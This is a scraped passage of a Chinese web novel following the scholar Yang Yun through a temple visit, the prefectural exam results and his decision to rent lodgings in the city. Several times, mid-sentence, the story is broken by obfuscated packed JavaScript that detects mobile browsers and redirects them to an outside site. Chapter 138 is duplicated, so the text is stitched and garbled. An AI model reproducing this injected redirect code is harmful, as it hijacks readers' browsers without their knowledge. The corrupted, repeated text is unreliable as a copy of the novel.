站在他身边的于慎言冷哼一声，转头去看旁边的风景，显然也对老和尚十分不屑。 杨云轻笑一声，话语中带着几分嘲讽说：“大师，你接下来是不是要以高深的佛法，为我化去这场灾劫？” 杨云确实是第一次来大云寺，但他前世不知道看过多少和尚骗人的事，自然不会上当。 后面的梁庭霖轻轻点头，看来杨兄已经看出那和尚是个骗子。 没想到老和尚听到杨云的话，竟轻轻摇头，十分诚恳地说：“以佛法消弭灾劫，怕是罗汉菩萨才能做到，老衲只是个肉眼凡胎的和尚，做不到那些。” 这下杨云有些诧异，看着老和尚问道：“既然如此，那你叫住**什么？” 老和尚双手合十，冲着杨云微微一礼，平静地说： “施主面相大吉之中带着大凶，若想度过命中劫数，必须一心一意勇往直前，若心生二念，必然后悔莫及，还请施主谨记。” 杨云听老和尚说他以后有灾劫，脸色有些不好看，摆摆手转身离开。 这时候姜梅却跑过来，双手合十，神色诚恳地说：“大师，你能不能想办法帮我儿子化掉这场灾劫？您要多少钱我都可以给。” 只要杨云平安顺利，姜梅才不在乎花多少钱。 梁庭霖和杨云都露出牙疼的表情，老和尚没诓住杨云，反而唬住姜梅。 杨云拉着母亲的胳膊，轻声劝说：“娘，你别听这和尚瞎说，我以后肯定无病无灾，他是来骗钱的。” 姜梅死活不信，非要花钱请老和尚做法事，替杨云消掉这不知有没有的灾劫。 看姜梅把银票都掏出来，老和尚笑呵呵地摇摇头说： “施主，老衲刚才说过，这场灾劫老衲消不了，这银子您还是收回去吧，诸位慢走。” 姜梅只能失望地收起银票，跟着杨云从后院离开。 在众人走没几步的时候，老和尚的声音又飘过来，“施主，日后若遇疑难，不妨来此与老衲一晤。” 杨云心里暗骂一声阴魂不散，拉着姜梅跟梁庭霖几人快步离开。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570746|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等到几人走后，一个年轻的小沙弥急匆匆地跑到老和尚身边，上气不接下气地说： “主持大师，首座们已经到后堂，都在等着您呢。” 老和尚随口应几句，回想着刚才杨云的面相，嘴里嘀咕着跟小沙弥离开。 虽然老和尚的出现，让众人有些不舒服，但大云寺的风景很不错，众人很快把这件事忘在脑后，开开心心地继续游览起来。 接下来的两天，杨云带着姜梅又去逛平源府的小吃街，还给她买两件首饰，母子俩人都是十分开心。 等到第四天，原本在外面游玩的学子们全回来，一早向府衙赶去，等着放榜。 杨云和梁庭霖等人吃过早饭，才慢慢悠悠来到府衙门口。 性子比较着急的李向谦，看着前面黑压压的人堆，颇为懊恼地说： “咱们应该早点来的，这下好了，连个前面的位置都抢不到了。” 看着满脸懊丧的李向谦，梁庭霖心中也有些紧张，干笑着安慰他， “李兄不必如此，该是咱们的，就算站在后面也是咱们的，不该是咱们的，就算站到府衙门口，也一样不是咱们的。” 这话确实有几分道理，只是梁庭霖心中没底，说话之时磕磕巴巴，反而显得底气不足。 于慎言张嘴想要替梁庭霖大哥圆场，但思来想去没想到合适的话，又把嘴给闭上。 看着同伴们这么紧张，杨云深吸一口气，定定心神，淡笑着对众人说：“各位，《中庸》有云，君子居易以俟命。你们现下不君子啊！” 杨云说的这句话，是说君子做好分内之事，等待结果即可。 梁庭霖他们被结果搅扰得心神不宁，明显与这句话相悖。 听到杨云还有心思开玩笑，梁庭霖苦笑着摇摇头，冲他拱拱手说： “这等关头，杨兄竟还能沉得住气，真是让在下佩服。要不然咱们干脆找个茶楼，一边喝茶一边等吧！” 第135章 府试放榜 第一百三十五章府试放榜 于慎言听到杨云的提醒，才回过神来，看着布告栏下疯狂往前挤的学子们，脸上不由自主地泛起自嘲的笑容。 平日里几人都自诩不为功名动心，但放榜在即，除杨云外，全都失态。 梁庭霖看一下，终于在一个笑茶棚里找到一张空桌子，他连忙将几人都叫过来，让小二上一壶好茶和几盘点心干果，轻轻叹气说：“咱们平日里大谈心性，自诩淡泊宁静，现下看来，能不为名利所动者，唯有杨兄。” 于慎言等人赞许地点头。 放榜在即，杨云仍旧不急不躁，这份心性确实不同凡响。 杨云见到他们这么夸他，连忙自谦地摆摆手， “几位过奖，我心里其实也挺忐忑，只是装得比各位镇定而已。” 众人哈哈大笑，正准备说些什么的时候，忽然一声号炮炸响，紧接着听到府衙那边一阵闹哄哄的声音， “放榜了！府试放榜了！” 早按捺不住的学子们立刻往前涌，脖子伸得老长，似谁第一个看到，谁是第一。 不多时，一声狂吼从布告栏下面传出来，“我中了，我中了！爹，娘，我中了！” 一个看起来三十岁左右的文生从人群里冲出来，站在树边冲着东方大喊。 喊几句后，文生又扶着大树呜呜哭起来，也不知道是高兴还是悲伤。 梁庭霖几人被文生的举动弄得心神不宁，有心想要过去看看，榜上有没有名字，但又觉得这样太热衷功名，不符合读书人教化天下，淡泊名利的初衷。 杨云看出众人的心思，但刚才说不要着急的是他，现下要提议他们也去看，有点打脸。 沉思之间，杨云的眼角余光扫过旁边看热闹的闲汉，心头立刻有主意。 他轻轻咳一声，冲着一个看得正高兴的闲汉招招手，脸上带着笑容说：“那位朋友，请过来一下。” 闲汉左右看看，伸手指指鼻子，见到杨云点头，他才心不甘情不愿地走过来。 他看热闹看得正高兴，不知道这个人叫他干什么。 梁庭霖等人也不知道杨云叫闲汉过来干什么，但几人清楚杨云必有道理，才没有说话。 闲汉走到茶棚外，随意地冲着杨云拱拱手，眼神中带着几分警惕看着他问：“你叫我过来，有什么事吗？” 看着闲汉疑惑的样子，杨云没有回答他的问题，只是淡淡地问：“你可认字？” 闲汉被杨云问得一头雾水，沉默片刻后回道： “念过两年私塾，写个名字还成。您要有事直说，用不着问东问西的。” 听到闲汉识字，杨云从身上拿出一些铜钱，大略数一下，有两百文左右，他将钱放在桌上，笑呵呵地看着闲汉说： “你帮我办件小事，这两百文钱都是你的。” 见到杨云掏钱，闲汉不情不愿的脸上，立刻泛起笑容，热情地问道：“这位公子，你想让**什么？” 这闲汉平日以打零工做碎活为生，两百文钱差不多是他两天的收入。 热闹再好看，也没有挣钱糊口重要。 杨云指指不远处，人满为患的布告栏，对闲汉说： “你去府试榜单下看看，我们几人的名字在不在上面。看完回来，这些钱都是你的。” 闲汉在心里想一下，从茶棚到府试榜单没有多远，算上挤进去的时间，一刻钟也够。 这么点时间，能挣到一天的钱，这买卖太划算了！ 想到这里，闲汉冲着杨云等人作个揖，满脸堆笑地说： “请各位爷把名字告诉小人，小人去看看在榜上排名第几。” 这闲汉是会说话的，去看看榜单上排在第几，等于是说五人全都中。 梁庭霖等人立刻把名字告诉闲汉，闲汉一溜烟地往布告栏的方向跑去。 看着闲汉的背影，梁庭霖好整以暇地拿起茶碗抿一口，笑呵呵地对杨云说： “还是杨兄有办法，这样咱们又不用挤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570747|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又能知道中第几。” 于慎言等人纷纷点头，他们也不是没见过让下人去看名次的事，只是太过紧张，完全没有想到这个办法。 向来话少的赵奕，看着府衙门前攒动的学子，脸上闪过一丝紧张之色，低落地说： “各位，你们说我这次能中吗？” 在座的五人中，以赵奕的学问最差，每次比试都排末尾，放榜最紧张的人也是他。 看着赵奕略显灰暗的神色，梁庭霖连忙安慰说： “赵兄，你不用担心，这次府试的题目不算难，你有很大可能会上榜的。” 杨云和于慎言李向谦也都这么说，毕竟都是朋友，没人会说你中不了打击他。 众人安慰赵奕一会儿，他的情绪总算平静下来。 这时，府衙门前突然传来一声大喊，“有人要上吊了，快救人啊！” 听到有人寻短见，杨云等人连忙抬头，却见一个四十岁左右，身材干瘦，面无表情的中年人，正挥着他的腰带往树枝上挂，显然是不准备活了。 有几个好心人立刻冲上去把他拦下来，大声地劝道：“你这是干什么？天下没有过不去的坎，咬咬牙能挺过去的！” 中年人被劝几句，终于忍不住哇的一声哭出来，双手双脚用力挣扎，口中大喊， “你们放开我，让我**！考五次还不中，我这样的废人，还有何面目活在世上？” 赵奕的心中一紧，嘴唇不由自主地颤动几下。 杨云几人轻叹一声，但又不知道怎么安慰赵奕，只能若无其事地假装喝茶。 放榜之前，大家都是满怀信心而来。 放榜之后，却有人哭有人笑，世间所有的欢喜忧愁，似都汇集在此处。 众人心不在焉地喝一壶茶，刚才派出去的闲汉，满头大汗地跑回来。 赵奕早忍不住了，噌的一下站起来，连茶碗被打翻都没发现，双目死死地盯着闲汉问道： “怎么样，我们上榜没有？” 第137章 打算 第一百三十七章打算 李向谦和赵奕知道这是客气话，但心里还是很高兴。 他们两个比杨云的年纪大，但也只是刚二十出头，日后还有很多机会，不用急在一时。 天色已经很晚，几人说会话，约定明天中午为杨云作庆贺宴，各自回房休息。 第二天中午，五人又在状元阁见面，只是没有府试之前的紧张和不安，众人笑呵呵地让杨云坐主位，不时地开着玩笑。 客栈掌柜早已得梁庭霖吩咐，各种好酒好菜摆一桌子。 梁庭霖拿起酒壶给众人倒好酒，端着杯子说： “咱们今天聚在一处，恭贺杨兄拿下府试第一，日后再战院试，必然连捷！” 剩下的三人纷纷端酒道喜，祝愿杨云能顺利通过后面的院试，成为秀才。 “多谢各位好意，杨某只是有些运气，侥幸得到头名，日后还要各位多多指点。” 杨云在侯府十八年，参与过不少酒局，场面话还是会说的。 众人一起喝一杯，接着开始行酒令，作诗赋，不一会三四壶酒下肚。 喝酒脸红的梁庭霖，抓着杨云的手，醉眼迷离地问：“杨兄，府试结束，你接下来有何打算？” 杨云的酒量在京城那些纨绔子弟中，都是数一数二，这几壶酒下肚，毫无反应。 他转头看着不停摇晃的梁庭霖，理所当然地回答，“肯定是继续读书作文，增进学识，准备接下来的院试。” 院试的时候，往年未中的童生也会赶来参加，竞争的激烈程度比府试高不止一个台阶。 已经有三分醉意的梁庭霖挥挥手，摇着头说：“这个我当然知道，我是想问，杨兄是回家还是留在府城。” 杨云才想起来，之前梁庭霖跟他说过，过府试后有两种选择，一是回家苦读，二是留在府城，结交准备参加院试的童生，既然切磋文章又能拓展人脉。 只是杨云昨天刚拿到案首，还没有仔细想过这个问题。 对他来说，回去能得到卢毅的指点，未必会比留在府城交友差。 但他没有着急回答梁庭霖，而是抬头看向桌上的其他三人，“不知道于兄，李兄，赵兄你们怎么想的？留下还是回家？” 李向谦脸上露出一丝无奈的笑容，端起酒杯一饮而尽，叹一口气对杨云说：“我和赵兄自然是回家读书，等到下次院试的时候再来。” 两人要是留在府城，至少得住到下一次院试开始，这两年的花销肯定不少，不如回家，把这笔银子省下来。 “两位回家苦读，下次必然厚积薄发，我等着你们的好消息。” 杨云知道两人才学稍有不足，但只要回去好好读书，还是有很大机会能过府试的。 说完，他转头看向于慎言问：“不知道于兄作何打算？” 于慎言这个人虽有点狂傲，但杨云觉得他还算坦率真诚，是个可交的朋友。 于慎言靠在椅背上打个酒嗝说： “我准备留在府城，明天找牙行的人租个院子，搬进去好好读书。” 院试的时间还没定下来，按往年经验，应该在这两三月之内。 于慎言觉得这点时间，不应该浪费在赶路上，干脆在府城住下来。 知道于慎言的决定，杨云转头看向梁庭霖，还没等他开口，梁庭霖主动说： “我和于兄一样，也要在府城找个院子住下。于兄，不如咱们两人住在一处如何？” 五人之中，梁庭霖的家境最好，父亲开一个染坊，每月能挣上百两银子。 他带的钱应该不少，但该省则省，跟于慎言住在一起，不仅省钱，还能促进两人关系。 于慎言的父亲是个木匠，家里的条件不算好，有人愿意跟他合住，自然痛快答应，“行！咱们两人明天一起去找牙子租房。” 见到于慎言答应，梁庭霖转头看着杨云问道： “杨兄，你考虑得怎么样了？要是你也留下，咱们三个同住一院，岂不快哉？” 杨云心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576534|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有些犹豫，他皱眉想一会说：“梁兄，让我好好想想怎么样？等明天早上我再给你答复。” 这种事本来是你情我愿，听到杨云要再想想，梁庭霖也没说什么，点点头继续喝酒。 这顿酒一直喝到晚上，除杨云外，剩下四个人都是被小二背回房间的。 有三分醉意的杨云，回房跟母亲姜梅说一下梁庭霖的提议，看着姜梅问道：“娘，你说我是留在府城好，还是回东阳书院好？” 其实杨云心中是想留在府城的，跟梁庭霖，于慎言等人在一起，学识进步得也很快。 只是他担心，姜梅一个人回去，会被杨玉昭算计。 姜梅当然也想让杨云跟她回家，但她犹豫片刻之后说：“云儿，你想留在府城就留在府城，想回家就回家，娘能照顾好自己。” 要是杨云留在府城，姜梅得回家，毕竟家里新盖房子，不能没人住。 福兴布庄的李掌柜，也在眼巴巴地等着姜梅回去做衣服。 看着母亲鼓励的眼神，杨云犹豫片刻后，低着头说： “娘，我还是想留在府城，一来，这里有很多准备参加院试的童生，我的学业不会落下。” “二来，留在这里能第一时间知道院试的消息，也不会来回赶路。” 从东平县到平源府，路上得三四天时间，这一来一回是六七天时间没了。 姜梅听得到杨云决定要留在府城，心中生出万般不舍，她咬着嘴唇，强行把泪水憋回去。 她轻轻咳一声后，用尽量正常的声音说：“既然云儿你想留在府城，那娘就回家，等着你中秀才的好消息！” “娘！” 听到母亲这么支持他，杨云心里有些愧疚，不由自主地抬起头，却正好看到姜梅满是泪水的眼睛，他的心像被针扎一样，疼痛难忍。 他好不容易鼓起的勇气，被母亲的泪眼冲垮，红着眼睛跪在姜梅面前，摇头说： “娘，我不留在府城了，我跟您一起回家！” 第138章 决定 第一百三十八章决定 杨云对母亲十分孝顺，见到她想哭，立刻把什么院试，什么功名全都抛在脑后。 只要能让母亲开心快乐，他不**名也没什么关系。 见到杨云这么紧张，姜梅含着眼泪笑起来，她慈爱地摸摸杨云的头， “云儿，你有这份孝心，娘很高兴了，你该留在府城还是留在府城吧。” 姜梅知道，杨云是个听话的好孩子，只要她开口，杨云一定会跟她回去。 只是杨云已经拿下府试案首，再加把劲能成为秀才，姜梅怎么可能因为她不舍，断掉儿子的前途？ 杨云固执地摇摇头，抬头看着母亲说： “没关系的娘，我回家一样能读书，院试开始的时间也会下发各县，我到时再来即可。” 这样虽然有点折腾，但只要能让母亲开心，都是值得的。 姜梅将伸手将杨云扶起来坐好，仔细地打量着他的面容，语重心长地说： “我知道，你是为我考虑，才要一起回去。说实话，我也很舍不得让你一个人留在府城。” 见到杨云准备说些什么，姜梅摆手打断他，继续道：“可儿子总有离开娘的那一天，我总不能一辈子把你都绑在我身边吧？” “这次正好是个机会，你在这里也有朋友互相照应，不如让你一个人闯荡闯荡。” 县试府试姜梅能跟着，难道将来考举人，考进士的时候，姜梅也要跟着？ 杨云迟早有一天要离开姜梅，不如趁此机会，让他生活一段时间。 “娘……儿子愿意一辈子都跟你在你身边，照顾您！”杨云双目含泪，他不用想都知道，姜梅为什么会这么说。 一向温柔的姜梅，却十分干脆地摆摆手，对杨云说： “你娘还没有老到身边离不开人的地步！你在府城好好读书吧，用不着担心我。” 现下姜梅也才三十八岁，自行生活完全没有问题。 杨云看着母亲独断专行的样子，一脸苦涩地说： “娘，我还是跟您回去吧，出来这么长时间，我也想回书院见见先生和同学们。” 姜梅一眼看出，这些都是杨云想要跟她回去的借口，她笑眯眯地说： “我回去之后，会替你向先生和同学们问好的，你用不着担心。” 见到母亲看破他的想法，杨云沉默片刻，最终问出一个他一直担心，但又不敢问的事， “要是您回去之后，二叔看到我不在，又要算计咱们家怎么办？” 虽然族老和老爷子把杨玉昭禁足，但杨云知道，杨玉昭从来没有放弃过算计。 上次冯氏借钱，背后已有杨玉昭的影子。 还有四叔杨玉竹，他打自家房子的主意，不是一天两天啊。 要是他不在家，母亲一个人，未必能挡得住他们两人明里暗里的各种算计。 这下姜梅彻底沉默，过好半天后才勉强挤出笑容，“你放心，有你爷爷和族老在，二叔不会做什么过分的事。” 看着母亲脸上无奈的笑容，杨云思索片刻之后，才低声说： “娘，要是有人算计您，您先搬到县城里，老侯爷送的房子里住，要是他们咬住不放，你去县衙找李捕头，他和我有交情，肯定会管你。” “至于剩下的事，您等我回去慢慢处理即可，千万不要跟人置气，争执。” 李乐山在东平县算是个不小的人物，不管是谁都得给他几分面子，保住姜梅小事一桩。 姜梅用力地点点头，示意已记住儿子的话，起身去包袱里拿出一件打补丁的旧衣服，把它的袖子拆开，拿出两张一百两的银票。 “云儿，你要留在府城，跟你的那些童生朋友交往，日常开销肯定不少，这二百两你先拿着花，要是不够，我再来给你送钱。” 姜梅把二百两银票放在杨云面前，让他赶紧把钱装起来。 这二百两是来府城之前，姜梅怕出什么意外，特意缝在衣服里的，没想到用在这里。 “娘，你把钱都给我，你怎么办？” 杨云看着面前的二百两银票，疑惑地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576535|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着母亲。 “我身上还有些碎银子，够用了。” 姜梅拍拍荷包，笑呵呵地对杨云说： “时间不早了，你赶快回房洗洗睡吧，明天我和赶车的王把式回去。” 杨云咬着嘴唇，重重地冲着母亲点点头，起身回房。 等到杨云离开，姜梅的泪水再也忍不住，唰的一下流下来。 第二天，杨云起早去敲梁庭霖的门，看着睡眼惺忪的梁庭霖说： “梁兄，我也准备留在府城，你和于兄找房子的时候，记得找个大点的。” 听到杨云也要留下，梁庭霖清醒过来，笑呵呵地说： “杨兄，不如我们三个一起去看房子如何？也算是增进些阅历。” 牙行里形形色色的人都有，这次去租房正好可以见见人间百态。 杨云摇摇头，脸上闪过一丝低落之色，淡淡地说： “我娘准备回家，我得陪她去给先生和同学，买点府城的特产带回去。” 梁庭霖听到之后，善解人意地点点头，宽慰杨云说： “租房之事，我和于兄去办，杨兄不妨陪着伯母多逛些地方。” 有杨云这个府试案首在，梁庭霖的文章又能精进不少，租房这种小事他去不去都无所谓。 跟梁庭霖打好招呼，杨云陪着母亲去街上逛大半天，买来不少特产，让她带给东阳书院的卢毅和同学们。 次日一早，杨云赶在天亮的时候起来，乘着晨曦将母亲和王把式送到城外。 站在城门口，杨云对母亲小声叮嘱， “娘，不管遇到什么事，您都不要跟他们置气，先忍着，等我回去之后再找他们算账。” 姜梅把儿子的叮嘱记在心里，也嘱咐杨云说： “这几日的天气阴晴不定，你的衣服千万别急着脱，免得一冷一热受风寒……” 姜梅唠唠叨叨说一堆，最终依依不舍地坐着马车离开。 杨云眼眶中有淡淡的水光闪动，直到马车的影都看不见，才依依不舍地回客栈。 第138章 决定 第一百三十八章决定 杨云对母亲十分孝顺，见到她想哭，立刻把什么院试，什么功名全都抛在脑后。 只要能让母亲开心快乐，他不**名也没什么关系。 见到杨云这么紧张，姜梅含着眼泪笑起来，她慈爱地摸摸杨云的头， “云儿，你有这份孝心，娘很高兴了，你该留在府城还是留在府城吧。” 姜梅知道，杨云是个听话的好孩子，只要她开口，杨云一定会跟她回去。 只是杨云已经拿下府试案首，再加把劲能成为秀才，姜梅怎么可能因为她不舍，断掉儿子的前途？ 杨云固执地摇摇头，抬头看着母亲说： “没关系的娘，我回家一样能读书，院试开始的时间也会下发各县，我到时再来即可。” 这样虽然有点折腾，但只要能让母亲开心，都是值得的。 姜梅将伸手将杨云扶起来坐好，仔细地打量着他的面容，语重心长地说： “我知道，你是为我考虑，才要一起回去。说实话，我也很舍不得让你一个人留在府城。” 见到杨云准备说些什么，姜梅摆手打断他，继续道：“可儿子总有离开娘的那一天，我总不能一辈子把你都绑在我身边吧？” “这次正好是个机会，你在这里也有朋友互相照应，不如让你一个人闯荡闯荡。” 县试府试姜梅能跟着，难道将来考举人，考进士的时候，姜梅也要跟着？ 杨云迟早有一天要离开姜梅，不如趁此机会，让他生活一段时间。 “娘……儿子愿意一辈子都跟你在你身边，照顾您！”杨云双目含泪，他不用想都知道，姜梅为什么会这么说。 一向温柔的姜梅，却十分干脆地摆摆手，对杨云说： “你娘还没有老到身边离不开人的地步！你在府城好好读书吧，用不着担心我。” 现下姜梅也才三十八岁，自行生活完全没有问题。 杨云看着母亲独断专行的样子，一脸苦涩地说： “娘，我还是跟您回去吧，出来这么长时间，我也想回书院见见先生和同学们。” 姜梅一眼看出，这些都是杨云想要跟她回去的借口，她笑眯眯地说： “我回去之后，会替你向先生和同学们问好的，你用不着担心。” 见到母亲看破他的想法，杨云沉默片刻，最终问出一个他一直担心，但又不敢问的事， “要是您回去之后，二叔看到我不在，又要算计咱们家怎么办？” 虽然族老和老爷子把杨玉昭禁足，但杨云知道，杨玉昭从来没有放弃过算计。 上次冯氏借钱，背后已有杨玉昭的影子。 还有四叔杨玉竹，他打自家房子的主意，不是一天两天啊。 要是他不在家，母亲一个人，未必能挡得住他们两人明里暗里的各种算计。 这下姜梅彻底沉默，过好半天后才勉强挤出笑容，“你放心，有你爷爷和族老在，二叔不会做什么过分的事。” 看着母亲脸上无奈的笑容，杨云思索片刻之后，才低声说： “娘，要是有人算计您，您先搬到县城里，老侯爷送的房子里住，要是他们咬住不放，你去县衙找李捕头，他和我有交情，肯定会管你。” “至于剩下的事，您等我回去慢慢处理即可，千万不要跟人置气，争执。” 李乐山在东平县算是个不小的人物，不管是谁都得给他几分面子，保住姜梅小事一桩。 姜梅用力地点点头，示意已记住儿子的话，起身去包袱里拿出一件打补丁的旧衣服，把它的袖子拆开，拿出两张一百两的银票。 “云儿，你要留在府城，跟你的那些童生朋友交往，日常开销肯定不少，这二百两你先拿着花，要是不够，我再来给你送钱。” 姜梅把二百两银票放在杨云面前，让他赶紧把钱装起来。 这二百两是来府城之前，姜梅怕出什么意外，特意缝在衣服里的，没想到用在这里。 “娘，你把钱都给我，你怎么办？” 杨云看着面前的二百两银票，疑惑地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576535|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着母亲。 “我身上还有些碎银子，够用了。” 姜梅拍拍荷包，笑呵呵地对杨云说： “时间不早了，你赶快回房洗洗睡吧，明天我和赶车的王把式回去。” 杨云咬着嘴唇，重重地冲着母亲点点头，起身回房。 等到杨云离开，姜梅的泪水再也忍不住，唰的一下流下来。 第二天，杨云起早去敲梁庭霖的门，看着睡眼惺忪的梁庭霖说： “梁兄，我也准备留在府城，你和于兄找房子的时候，记得找个大点的。” 听到杨云也要留下，梁庭霖清醒过来，笑呵呵地说： “杨兄，不如我们三个一起去看房子如何？也算是增进些阅历。” 牙行里形形色色的人都有，这次去租房正好可以见见人间百态。 杨云摇摇头，脸上闪过一丝低落之色，淡淡地说： “我娘准备回家，我得陪她去给先生和同学，买点府城的特产带回去。” 梁庭霖听到之后，善解人意地点点头，宽慰杨云说： “租房之事，我和于兄去办，杨兄不妨陪着伯母多逛些地方。” 有杨云这个府试案首在，梁庭霖的文章又能精进不少，租房这种小事他去不去都无所谓。 跟梁庭霖打好招呼，杨云陪着母亲去街上逛大半天，买来不少特产，让她带给东阳书院的卢毅和同学们。 次日一早，杨云赶在天亮的时候起来，乘着晨曦将母亲和王把式送到城外。 站在城门口，杨云对母亲小声叮嘱， “娘，不管遇到什么事，您都不要跟他们置气，先忍着，等我回去之后再找他们算账。” 姜梅把儿子的叮嘱记在心里，也嘱咐杨云说： “这几日的天气阴晴不定，你的衣服千万别急着脱，免得一冷一热受风寒……” 姜梅唠唠叨叨说一堆，最终依依不舍地坐着马车离开。 杨云眼眶中有淡淡的水光闪动，直到马车的影都看不见，才依依不舍地回客栈。 第139章 租房读书 第一百三十九章租房读书 送走姜梅后，杨云把东西收拾一下，二百两银票一张放好，一张拿到钱庄去换成十两的小银票，又换一些散碎银子，用于日常花销。 中午吃饭的时候，梁庭霖和于慎言找到杨云，脸上带着喜色说： “杨兄，我和于兄今天上午看两处院子，都很不错。你下午也去看看，哪个比较好。” 杨云对住处其实没有太高要求，当初刚回青山村的时候，他还住过茅草屋，梁庭霖和于慎言找的房子，不至于比茅草屋还差。 但两人这么热情相邀，杨云又没什么事，去看看也好。 下午三人一起出门，在一个名叫晓望的牙行，找到牙子，一起去看第一处宅子。 “三位公子，我和您们说，这处院子环境清幽，房屋宽敞，抢手得很，你们不快点下决定，说不定被人租去了！” 找房子的牙子名叫刘三禾，长得胖乎乎的，只是一双眼睛不停转着，看起来有点贼。 杨云和梁庭霖在院子里转转，觉得这里很不错，心中动租下来的心思。 于慎言却给两人使个眼色，敲敲屋里的家具，漫不经心地问：“刘三，这院子一个月要多少钱？” 听到于慎言叫他的外号，刘三禾没有任何不悦之色，上前几步笑着说： “于公子，这院子一个月要五两银子，但物有所值啊！” “出门不远是酒楼，拐个弯是药铺，府城最有名的书坊四宝阁也只有三四百步远。” 于慎言从屋里出来，看着院子里的格局，轻轻摇头说： “贵了。一个月三两银子吧，要是能行，我们马上能签契书。” 梁庭霖家境殷实，三两五两根本不放在眼里。 杨云虽住在青山村，但实际上他是三人中最有钱的，光是老侯爷已给他送不少，还有赵文盛也给很多，在府城买座宅子也绰绰有余。 何况，他在天应侯府的时候，已经习惯大手大脚惯，自然也不在乎二两银子的差价。 唯有于慎言，他是家里拿着多年积蓄供他读书，他当然是能省则省。 听到于慎言才报价三两银子，刘三禾立刻苦着脸叫道： “于公子，不是小人不想给您让价，实在是五两银子已经很便宜，再让价我赔了。” 看着刘三禾苦不堪言的样子，于慎言的眉头微微皱一下，伸出四个手指，淡淡地说： “这样吧，四两银子，要能行，我们租了。” 刘三禾见到于慎言这么容易加一两银子，继续叫苦说： “于公子，低于五两真的不行……” 话还没说完，于慎言立刻从台阶走下来，对梁庭霖和杨云说：“走，咱们去看看另外一处院子。” 杨云和梁庭霖没有丝毫犹豫，一起向前院走去。 刘三和于慎言，他们自然相信于慎言。 看到几人正准备离开，刘三禾连忙叫道： “于公子，别走……行吧，我吃点亏，四两银子租给你们！” 三人对视一眼，转头跟刘三禾签下契书，梁庭霖先垫房租，杨云和于慎言再还他。 刘三禾一边收银子一边感慨着三人杀价厉害，苦笑着说： “三位公子，你们准备什么时候搬进来？可还有什么地方需要小的？” “这附近我熟，您要是想添点家具，或养些花草，都可以找我。” 这次于慎言没有说话，他对住的地方要求不高，只看杨云和梁庭霖有没有什么需要。 梁庭霖看一下，总觉得院子里缺点什么，想一会后才笑呵呵对刘三禾说：“家具什么的，不用添了，你再找给我两个下人。” “一个老妈子负责做饭洗衣，还有一个门子，负责看门洒扫。” 三人要在这里读书，洗衣做饭之类的琐事肯定不能自行动手，得有人伺候才行。 这件事正好是刘三禾的老本行，他信心满满地说： “这个容易，不知道梁公子对这两人有什么要求没？越好的越贵。” 梁庭霖是第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581489|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次雇下人，他想片刻后说： “只要身家清白，手脚干净即可，别的没什么。” 刘三禾应下来，把这里的钥匙交给梁庭霖，出去找下人。 